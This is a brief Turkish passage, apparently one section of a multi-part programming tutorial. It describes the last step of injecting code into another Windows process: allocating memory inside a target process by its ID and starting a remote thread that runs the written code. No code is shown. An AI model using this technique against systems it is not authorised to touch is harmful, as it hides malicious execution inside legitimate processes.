Son olarak Windows işletim sisteminin imkanlarını kullanarak verilen bir process id’sine sahip bir proses’in adres alanından bir yer ayırıyoruz ve bu process’in içinde yeni bir thread’i belleğe yazdığımız kodu çalıştıracak biçimde başlatıyoruz.

<< Önceki Bölüm                                                                                                                    Sonraki Bölüm >>